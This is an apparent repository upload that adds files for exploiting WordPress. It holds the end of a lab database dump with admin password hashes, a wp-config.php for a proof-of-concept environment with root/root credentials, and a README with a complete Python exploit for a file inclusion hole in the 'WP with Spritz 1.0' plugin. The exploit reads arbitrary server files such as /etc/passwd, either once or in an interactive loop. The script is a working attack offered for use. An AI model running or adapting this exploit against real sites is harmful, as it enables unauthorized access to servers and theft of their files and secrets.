374	+	`user_login` varchar(60) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
375	+	`user_pass` varchar(255) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
376	+	`user_nicename` varchar(50) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
377	+	`user_email` varchar(100) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
378	+	`user_url` varchar(100) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
379	+	`user_registered` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
380	+	`user_activation_key` varchar(255) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
381	+	`user_status` int(11) NOT NULL DEFAULT '0',
382	+	`display_name` varchar(250) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
383	+	PRIMARY KEY (`ID`),
384	+	KEY `user_login_key` (`user_login`),
385	+	KEY `user_nicename` (`user_nicename`),
386	+	KEY `user_email` (`user_email`)
387	+	) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;
388	+	/!40101 SET character_set_client = @saved_cs_client /;
389	+
390	+	--
391	+	-- Dumping data for table `wp_users`
392	+	--
393	+
394	+	LOCK TABLES `wp_users` WRITE;
395	+	/!40000 ALTER TABLE `wp_users` DISABLE KEYS /;
396	+	INSERT INTO `wp_users` VALUES (1,'admin','$P$Beh0K8.YEirGk5s34woPZhYHxuE3oH0','admin','[email protected]','','2019-02-25 05:43:35','',0,'admin'),(2,'author','$P$BHqRqh4WxJfCnV2niSa80aTbJCHZDZ0','author','[email protected]','','2019-02-25 05:44:30','',0,'author');
397	+	/!40000 ALTER TABLE `wp_users` ENABLE KEYS /;
398	+	UNLOCK TABLES;
399	+	/!40103 SET TIME_ZONE=@OLD_TIME_ZONE /;
400	+
401	+	/!40101 SET SQL_MODE=@OLD_SQL_MODE /;
402	+	/!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS /;
403	+	/!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS /;
404	+	/!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT /;
405	+	/!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS /;
406	+	/!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION /;
407	+	/!40111 SET SQL_NOTES=@OLD_SQL_NOTES /;
408	+
409	+	-- Dump completed on 2019-02-25 13:54:24
410	+

■ ■ ■ ■ ■ ■

WordPress_4.9.8_RCE_POC/env/src/wp-config.php

1	+	<?php
2	+	/**
3	+	* The base configuration for WordPress
4	+	*
5	+	* The wp-config.php creation script uses this file during the
6	+	* installation. You don't have to use the web site, you can
7	+	* copy this file to "wp-config.php" and fill in the values.
8	+	*
9	+	* This file contains the following configurations:
10	+	*
11	+	* * MySQL settings
12	+	* * Secret keys
13	+	* * Database table prefix
14	+	* * ABSPATH
15	+	*
16	+	* @link https://codex.wordpress.org/Editing_wp-config.php
17	+	*
18	+	* @package WordPress
19	+	*/
20	+	$home = 'http://'.$_SERVER['HTTP_HOST'];
21	+	$siteurl = 'http://'.$_SERVER['HTTP_HOST'];
22	+
23	+	define('AUTOMATIC_UPDATER_DISABLED',true);
24	+	define('WP_HOME', $home);
25	+	define('WP_SITEURL', $siteurl);
26	+	// disable auto update
27	+	define('WP_AUTO_UPDATE_CORE', false);
28	+	define('AUTOMATIC_UPDATER_DISABLED', true);
29	+	// MySQL settings - You can get this info from your web host //
30	+	/** The name of the database for WordPress */
31	+	define('DB_NAME', 'wordpress');
32	+
33	+	/** MySQL database username */
34	+	define('DB_USER', 'root');
35	+
36	+	/** MySQL database password */
37	+	define('DB_PASSWORD', 'root');
38	+
39	+	/** MySQL hostname */
40	+	define('DB_HOST', 'localhost');
41	+
42	+	/** Database Charset to use in creating database tables. */
43	+	define('DB_CHARSET', 'utf8mb4');
44	+
45	+	/** The Database Collate type. Don't change this if in doubt. */
46	+	define('DB_COLLATE', '');
47	+
48	+	/**#@+
49	+	* Authentication Unique Keys and Salts.
50	+	*
51	+	* Change these to different unique phrases!
52	+	* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
53	+	* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
54	+	*
55	+	* @since 2.6.0
56	+	*/
57	+	define('AUTH_KEY', '5]dIBac~]<-m&uX)+ns=erbE^MyGeckFEd{h$Zk<j;6Oq~16AzqS4fGqFcTZ89');
58	+	define('SECURE_AUTH_KEY', ']!3@$(2=/3}w<4) fx-I$xb,ey;[&.CM\|1nPIhq&KxqvS$e5Nar0uL%wi8zUJC\|Q');
59	+	define('LOGGED_IN_KEY', '!xg~W&P ek\|?xLs@}H.CS2]mmX:,>?(m{x !@cj))E\|$F%LF8_J1(&,:38@3I?');
60	+	define('NONCE_KEY', '/^NqM+ccazr?1]`P#NpDF>o/:!s&&`F`Jjm_&my5YFtTX1[_KQk<8U7Z(k{96aj&');
61	+	define('AUTH_SALT', 'fbPa&lT .>#.v&Y=\|j:BN@?p9[edR-B!8D[meDw8rgJg8_l+psvo3XcB}Soi&Jzv');
62	+	define('SECURE_AUTH_SALT', '/ I0a9S/+VY&S8QcTklx&-u:8J+H@V0d/vSU92oID2?vDv!o7]4naA?hz7:b<&');
63	+	define('LOGGED_IN_SALT', '(P j@$6:InxW+;bC54t[+._e &bz((SG:En&(Fbm71AoxU}D>Lq*nKcJpP#Scc0!');
64	+	define('NONCE_SALT', '0HnxKB?&N<[nBuPeBGA2fy2o<@Hc1B*dKGxEsf$FVYXAF7AF0x;AmXBGKL+]^XmG');
65	+
66	+	/*#@-/
67	+
68	+	/**
69	+	* WordPress Database Table prefix.
70	+	*
71	+	* You can have multiple installations in one database if you give each
72	+	* a unique prefix. Only numbers, letters, and underscores please!
73	+	*/
74	+	$table_prefix = 'wp_';
75	+
76	+	/**
77	+	* For developers: WordPress debugging mode.
78	+	*
79	+	* Change this to true to enable the display of notices during development.
80	+	* It is strongly recommended that plugin and theme developers use WP_DEBUG
81	+	* in their development environments.
82	+	*
83	+	* For information on other constants that can be used for debugging,
84	+	* visit the Codex.
85	+	*
86	+	* @link https://codex.wordpress.org/Debugging_in_WordPress
87	+	*/
88	+	define('WP_DEBUG', false);
89	+
90	+	/* That's all, stop editing! Happy blogging. */
91	+
92	+	/** Absolute path to the WordPress directory. */
93	+	if ( !defined('ABSPATH') )
94	+	define('ABSPATH', dirname(__FILE__) . '/');
95	+
96	+	/** Sets up WordPress vars and included files. */
97	+	require_once(ABSPATH . 'wp-settings.php');
98	+

■ ■ ■ ■ ■ ■

Wordpress-Plugin-Spritz-RFI/README.md

1	+	# WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion
2	+
3	+	WP with Spritz is a plugin that allows readers of your blog to read more of your content quicker using Spritz "patented speed reading technology".
4	+
5	+	```
6	+	./wp_spritz.py --url http://192.168.1.22/ /etc/passwd
7	+	./wp_spritz.py --url http://192.168.1.22/ --path /wordpress/ /etc/passwd
8	+
9	+	./wp_spritz.py --url http://192.168.1.22/ -i
10	+	./wp_spritz.py --url http://192.168.1.22/ --path /wordpress/ -i
11	+	```
12	+

■ ■ ■ ■ ■ ■

Wordpress-Plugin-Spritz-RFI/wp_spritz.py

1	+	#!/usr/bin/env python
2	+
3	+	from sys import argv, exit
4	+
5	+	PROMPT = "exploited-server@www-data$"
6	+	WP_PLUGIN_PATH = "/wp-content/plugins/"
7	+	WP_PLUGIN_TARGETED = "wp-with-spritz/wp.spritz.content.filter.php?url="
8	+
9	+	def cli_args() :
10	+	import argparse
11	+	parser = argparse.ArgumentParser(
12	+	add_help = False,
13	+	description = "WP with Spritz 1.0 (WordPress Plugin) - RFI"
14	+	)
15	+
16	+	optional = parser._action_groups.pop()
17	+	required = parser.add_argument_group("required arguments")
18	+
19	+	required.add_argument(
20	+	"--url", "-u", action = "store",
21	+	help = "Target URL to exploit [ ex: http://www.targeted.com/ ]"
22	+	)
23	+
24	+	optional.add_argument(
25	+	"--path", "-p", action = "store",
26	+	help = "Path of Wordpress directory [ default: / ]."
27	+	)
28	+
29	+	optional.add_argument(
30	+	"--interactive", "-i", action = "store_true",
31	+	help = "Initiate a interactive session."
32	+	)
33	+
34	+	optional.add_argument(
35	+	"remote_file", nargs = '?', default="/etc/passwd",
36	+	help = "File to read on the target machine."
37	+	)
38	+
39	+	optional.add_argument(
40	+	"--help", "-h", action = "store_true",
41	+	help = argparse.SUPPRESS
42	+	)
43	+
44	+	parser._action_groups.append(optional)
45	+	return(cli_args_helper(parser.parse_args(), parser))
46	+
47	+	def cli_args_helper(arguments, parser) :
48	+
49	+	## URL.
50	+	if(arguments.url) :
51	+	if(isurl(arguments.url)) :
52	+	arguments.url = arguments.url.rstrip('/')
53	+	else :
54	+	exiting("The URL target < " + arguments.url + " > isn't valid!", 1)
55	+
56	+	## Path.
57	+	if(not(arguments.path)) :
58	+	arguments.path = '/'
59	+	else :
60	+	arguments.path = arguments.path.rstrip('/')
61	+
62	+	# Help message and exit.
63	+	if((arguments.help) or (len(argv) <= 1)) :
64	+	parser.print_help()
65	+	exit(0)
66	+
67	+	return(arguments)
68	+
69	+	def entry_point() :
70	+	# Header
71	+	print("WP with Spritz 1.0 (WordPress Plugin) - RFI\n\tby mekhalleh [www.pirates.re]\n")
72	+
73	+	params = cli_args()
74	+
75	+	if(not(params.interactive)) :
76	+	response = send_exploit_request(params.url + params.path, params.remote_file)
77	+	if(response) :
78	+	print("%s cat %s\n%s" % (PROMPT, params.remote_file, response))
79	+	else :
80	+	print("The file < %s > doesn't exist." % (params.remote_file))
81	+	else :
82	+	try :
83	+	while(True) :
84	+	remote_file = raw_input("File to read: ")
85	+	if((remote_file.lower() == "exit") or (remote_file.lower() == "quit")) :
86	+	exiting("Stopped on 'user' invokation.", 0)
87	+
88	+	if(remote_file != "") :
89	+
90	+	response = send_exploit_request(params.url + params.path, remote_file)
91	+	if(response) :
92	+	print("%s cat %s\n%s" % (PROMPT, params.remote_file, response))
93	+	else :
94	+	print("The file < %s > doesn't exist." % (params.remote_file))
95	+	else :
96	+	print("The file is empty! please, select a file.")
97	+
98	+	response = ""
99	+
100	+	except KeyboardInterrupt :
101	+	exiting("Stopped on 'Ctrl-C' invokation.", 0)
102	+	exit(0)
103	+
104	+	def exiting(message, ret_code) :
105	+	print("[!!] %s\nExiting..." % (message))
106	+	exit(ret_code)
107	+
108	+	def isurl(url) :
109	+	from re import compile, match, IGNORECASE
110	+	r = compile(
111	+	r"^(?:http)s?://" # http:// or https://
112	+	r"(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?\|[A-Z0-9-]{2,}\.?)\|" # domain name
113	+	r"localhost\|" # localhost
114	+	r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\|" # IPv4
115	+	r"\[?[A-F0-9]*:[A-F0-9:]+\]?)" # IPv6
116	+	r"(?::\d+)?" # optional port
117	+	r"(?:/?\|[/?]\S+)$",
118	+	IGNORECASE
119	+	)
120	+
121	+	if(match(r, url)) :
122	+	return(True)
123	+
124	+	return(False)
125	+
126	+	def send_exploit_request(url, file_name) :
127	+	from urllib2 import urlopen
128	+
129	+	PAYLOAD = url + WP_PLUGIN_PATH + WP_PLUGIN_TARGETED + file_name
130	+	page = urlopen(PAYLOAD)
131	+	src = page.read()
132	+	page.close()
133	+
134	+	if(src) :
135	+	return(src)
136	+	else :
137	+	return(False)
138	+
139	+	if(__name__ == "__main__") :
140	+	entry_point()
141	+	exit(0)
142	+

Add files via upload